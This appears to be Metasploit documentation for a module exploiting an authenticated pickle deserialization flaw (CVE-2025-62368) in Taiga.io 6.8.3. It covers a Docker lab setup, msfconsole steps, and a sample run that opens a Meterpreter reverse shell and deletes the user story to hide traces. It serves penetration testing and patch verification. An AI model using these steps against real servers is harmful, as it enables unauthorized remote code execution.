## Vulnerable Application

[Taiga.io](https://www.taiga.io/) is a free open-source project management tool for agile teams.

This module has been tested successfully on Taiga.io versions:

* taiga-back versions 6.8.3

### Description

This module exploits an authenticated unserialized vulnerability that allows to execute
commands remotely. This vulnerability affects Taiga.io <= 6.8.3 and is fixed in 6.9.0.

By creating userstories in the kanban-board, the parameter tribe_gig will be unserialized using python pickle. Using a special crafted value
for `tribe_gig` this vulnerability leads to authenticated remote python code execution. This exploits automatically deletes the
created user-story in order to leave no unnecessary traces.

More about the vulnerability detail: [CVE-2025-62368](https://github.com/taigaio/taiga-back/security/advisories/GHSA-cpcf-9276-fwc5).

The module will automatically use `python/meterpreter/reverse_tcp` payload.

The module will check if the target is vulnerable, by sending a sleep command. Please note that the user needs to have at least one project
with kanban enabled. The exploit will automatically search for an existing project that has the kanban functionality enabled.



### Source and Installers

* [Source Code Repository](https://github.com/taigaio/taiga-back/releases/tag/6.8.3)
* [Docker](https://github.com/taigaio/taiga-docker.git)

### Docker Installation

This exploit was tested using a [taiga.io docker container](https://github.com/taigaio/taiga-docker.git) and
[docker-compose](https://docs.docker.com/compose/).
First the [taiga.io docker container](https://github.com/taigaio/taiga-docker.git) was downloaded:
`git clone https://github.com/taigaio/taiga-docker.git`.
Next the tag 6.8.3 was added to the `taiga-back` image in docker-compose.yml:

```yaml
version: "3.5"

x-environment:
  &default-back-environment
  # These environment variables will be used by taiga-back and taiga-async.
  # Database settings
  POSTGRES_DB: "taiga"
  POSTGRES_USER: "${POSTGRES_USER}"
  POSTGRES_PASSWORD: "${POSTGRES_PASSWORD}"
  POSTGRES_HOST: "taiga-db"
  # Taiga settings
  TAIGA_SECRET_KEY: "${SECRET_KEY}"
  TAIGA_SITES_SCHEME: "${TAIGA_SCHEME}"
  TAIGA_SITES_DOMAIN: "${TAIGA_DOMAIN}"
  TAIGA_SUBPATH: "${SUBPATH}"
  # Email settings.
  EMAIL_BACKEND: "django.core.mail.backends.${EMAIL_BACKEND}.EmailBackend"
  DEFAULT_FROM_EMAIL: "${EMAIL_DEFAULT_FROM}"
  EMAIL_USE_TLS: "${EMAIL_USE_TLS}"
  EMAIL_USE_SSL: "${EMAIL_USE_SSL}"
  EMAIL_HOST: "${EMAIL_HOST}"
  EMAIL_PORT: "${EMAIL_PORT}"
  EMAIL_HOST_USER: "${EMAIL_HOST_USER}"
  EMAIL_HOST_PASSWORD: "${EMAIL_HOST_PASSWORD}"
  # Rabbitmq settings
  RABBITMQ_USER: "${RABBITMQ_USER}"
  RABBITMQ_PASS: "${RABBITMQ_PASS}"
  # Telemetry settings
  ENABLE_TELEMETRY: "${ENABLE_TELEMETRY}"
  # ...your customizations go here

x-volumes:
  &default-back-volumes
  # These volumens will be used by taiga-back and taiga-async.
  - taiga-static-data:/taiga-back/static
  - taiga-media-data:/taiga-back/media
  # - ./config.py:/taiga-back/settings/config.py

services:
  taiga-db:
    image: postgres:12.3
    environment:
      POSTGRES_DB: "taiga"
      POSTGRES_USER: "${POSTGRES_USER}"
      POSTGRES_PASSWORD: "${POSTGRES_PASSWORD}"
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U ${POSTGRES_USER}"]
      interval: 2s
      timeout: 15s
      retries: 5
      start_period: 3s
    volumes:
      - taiga-db-data:/var/lib/postgresql/data
    networks:
      - taiga

  taiga-back:
    image: taigaio/taiga-back:6.8.3
    environment: *default-back-environment
    volumes: *default-back-volumes
    networks:
      - taiga
    depends_on:
      taiga-db:
        condition: service_healthy
      taiga-events-rabbitmq:
        condition: service_started
      taiga-async-rabbitmq:
        condition: service_started

  taiga-async:
    image: taigaio/taiga-back:6.8.3
    entrypoint: ["/taiga-back/docker/async_entrypoint.sh"]
    environment: *default-back-environment
    volumes: *default-back-volumes
    networks:
      - taiga
    depends_on:
      taiga-db:
        condition: service_healthy
      taiga-events-rabbitmq:
        condition: service_started
      taiga-async-rabbitmq:
        condition: service_started

  taiga-async-rabbitmq:
    image: rabbitmq:3.8-management-alpine
    environment:
      RABBITMQ_ERLANG_COOKIE: "${RABBITMQ_ERLANG_COOKIE}"
      RABBITMQ_DEFAULT_USER: "${RABBITMQ_USER}"
      RABBITMQ_DEFAULT_PASS: "${RABBITMQ_PASS}"
      RABBITMQ_DEFAULT_VHOST: "${RABBITMQ_VHOST}"
    hostname: "taiga-async-rabbitmq"
    volumes:
      - taiga-async-rabbitmq-data:/var/lib/rabbitmq
    networks:
      - taiga

  taiga-front:
    image: taigaio/taiga-front:latest
    environment:
      TAIGA_URL: "${TAIGA_SCHEME}://${TAIGA_DOMAIN}"
      TAIGA_WEBSOCKETS_URL: "${WEBSOCKETS_SCHEME}://${TAIGA_DOMAIN}"
      TAIGA_SUBPATH: "${SUBPATH}"
      # ...your customizations go here
    networks:
      - taiga
    # volumes:
    #   - ./conf.json:/usr/share/nginx/html/conf.json

  taiga-events:
    image: taigaio/taiga-events:latest
    environment:
      RABBITMQ_USER: "${RABBITMQ_USER}"
      RABBITMQ_PASS: "${RABBITMQ_PASS}"
      TAIGA_SECRET_KEY: "${SECRET_KEY}"
    networks:
      - taiga
    depends_on:
      taiga-events-rabbitmq:
        condition: service_started

  taiga-events-rabbitmq:
    image: rabbitmq:3.8-management-alpine
    environment:
      RABBITMQ_ERLANG_COOKIE: "${RABBITMQ_ERLANG_COOKIE}"
      RABBITMQ_DEFAULT_USER: "${RABBITMQ_USER}"
      RABBITMQ_DEFAULT_PASS: "${RABBITMQ_PASS}"
      RABBITMQ_DEFAULT_VHOST: "${RABBITMQ_VHOST}"
    hostname: "taiga-events-rabbitmq"
    volumes:
      - taiga-events-rabbitmq-data:/var/lib/rabbitmq
    networks:
      - taiga

  taiga-protected:
    image: taigaio/taiga-protected:latest
    environment:
      MAX_AGE: "${ATTACHMENTS_MAX_AGE}"
      SECRET_KEY: "${SECRET_KEY}"
    networks:
      - taiga

  taiga-gateway:
    image: nginx:1.19-alpine
    ports:
      - "9000:80"
    volumes:
      - ./taiga-gateway/taiga.conf:/etc/nginx/conf.d/default.conf
      - taiga-static-data:/taiga/static
      - taiga-media-data:/taiga/media
    networks:
      - taiga
    depends_on:
      - taiga-front
      - taiga-back
      - taiga-events

volumes:
  taiga-static-data:
  taiga-media-data:
  taiga-db-data:
  taiga-async-rabbitmq-data:
  taiga-events-rabbitmq-data:

networks:
  taiga:
```

The file `.env` was also modified so that the variable `TAIGA_DOMAIN` points to the IP-address to the server:

```
    # Taiga's URLs - Variables to define where Taiga should be served
    TAIGA_SCHEME=http  # serve Taiga using "http" or "https" (secured) connection
    TAIGA_DOMAIN=192.168.233.117:9000  # Taiga's base URL
    SUBPATH="" # it'll be appended to the TAIGA_DOMAIN (use either "" or a "/subpath")
    WEBSOCKETS_SCHEME=ws  # events connection protocol (use either "ws" or "wss")
    
    # Taiga's Secret Key - Variable to provide cryptographic signing
    SECRET_KEY="taiga-secret-key"  # Please, change it to an unpredictable value!!
    
    # Taiga's Database settings - Variables to create the Taiga database and connect to it
    POSTGRES_USER=taiga  # user to connect to PostgreSQL
    POSTGRES_PASSWORD=taiga  # database user's password
    
    # Taiga's SMTP settings - Variables to send Taiga's emails to the users
    EMAIL_BACKEND=console  # use an SMTP server or display the emails in the console (either "smtp" or "console")
    EMAIL_HOST=smtp.host.example.com  # SMTP server address
    EMAIL_PORT=587   # default SMTP port
    EMAIL_HOST_USER=user  # user to connect the SMTP server
    EMAIL_HOST_PASSWORD=password  # SMTP user's password
    EMAIL_DEFAULT_FROM=changeme@example.com  # default email address for the automated emails
    # EMAIL_USE_TLS/EMAIL_USE_SSL are mutually exclusive (only set one of those to True)
    EMAIL_USE_TLS=True  # use TLS (secure) connection with the SMTP server
    EMAIL_USE_SSL=False  # use implicit TLS (secure) connection with the SMTP server
    
    # Taiga's RabbitMQ settings - Variables to leave messages for the realtime and asynchronous events
    RABBITMQ_USER=taiga  # user to connect to RabbitMQ
    RABBITMQ_PASS=taiga  # RabbitMQ user's password
    RABBITMQ_VHOST=taiga  # RabbitMQ container name
    RABBITMQ_ERLANG_COOKIE=secret-erlang-cookie  # unique value shared by any connected instance of RabbitMQ
    
    # Taiga's Attachments - Variable to define how long the attachments will be accesible
    ATTACHMENTS_MAX_AGE=360  # token expiration date (in seconds)
    
    # Taiga's Telemetry - Variable to enable or disable the anonymous telemetry
    ENABLE_TELEMETRY=False
```

**_NOTE:_** Change the IP-address for TAIGA_DOMAIN for your setup

After starting the container with `./launch-taiga.sh` we also have to create an admin account using: `./taiga-manage.sh createsuperuser`.

Now open a browser and navigate to: `http://192.168.233.117:9000` (use your IP-address), login as admin and create a project(select KANBAN).
Provide any project-name and any project-description, select "Public Project" and create the project.

**_NOTE:_** This exploit works needs permissions to create user-stories. Therefore it works as a normal
project member or as admin.

## Verification Steps

1. Do: `use exploit/multi/http/taiga_tribe_gig_unserial`
2. Do: `set RHOSTS [ips]`
3. Do: `set LHOST [lhost]`
4. Do: `set RPORT 9000`
5. Do: `set USERNAME admin`
6. Do: `set PASSWORD admin`
7. Do: `set SSL false`
8. Do: `run`
9. You should get a shell after a while

## Options

### USERNAME

The any existing username to authenticate to taiga. (Needs permissions on a project to create user-stories)

### PASSWORD

The password for the user.

## Scenarios

In this scenario the taiga-server has the IP address `192.168.233.117`. User `admin` exists with password `admin` and
a kanban project was already created in taiga and user admin is allowed to create userstories for that project.

### Taiga 6.8.3(docker-compose):

The following demo shows how to use the exploit:

```
msf > use exploit/multi/http/taiga_tribe_gig_unserial
[*] Using configured payload python/meterpreter/reverse_tcp
msf exploit(multi/http/taiga_tribe_gig_unserial) > set RHOSTS 192.168.233.117
RHOSTS => 192.168.233.117
msf exploit(multi/http/taiga_tribe_gig_unserial) > set RPORT 9000
RPORT => 9000
msf exploit(multi/http/taiga_tribe_gig_unserial) > set LHOST 192.168.233.117
LHOST => 192.168.233.117
msf exploit(multi/http/taiga_tribe_gig_unserial) > set USERNAME admin
USERNAME => admin
msf exploit(multi/http/taiga_tribe_gig_unserial) > set PASSWORD admin
PASSWORD => admin
msf exploit(multi/http/taiga_tribe_gig_unserial) > set SSL false
[!] Changing the SSL option's value may require changing RPORT!
SSL => false
msf exploit(multi/http/taiga_tribe_gig_unserial) > run
[*] Started reverse TCP handler on 192.168.233.117:4444
[*] Sending payload..
[*] Sending stage (23408 bytes) to 172.20.0.8
[+] Payload sent
[*] Cleanup..
[+] Userstory deleted
[*] Meterpreter session 1 opened (192.168.233.117:4444 -> 172.20.0.8:39148) at 2025-11-08 15:26:54 +0000

meterpreter > getuid
Server username: taiga
```
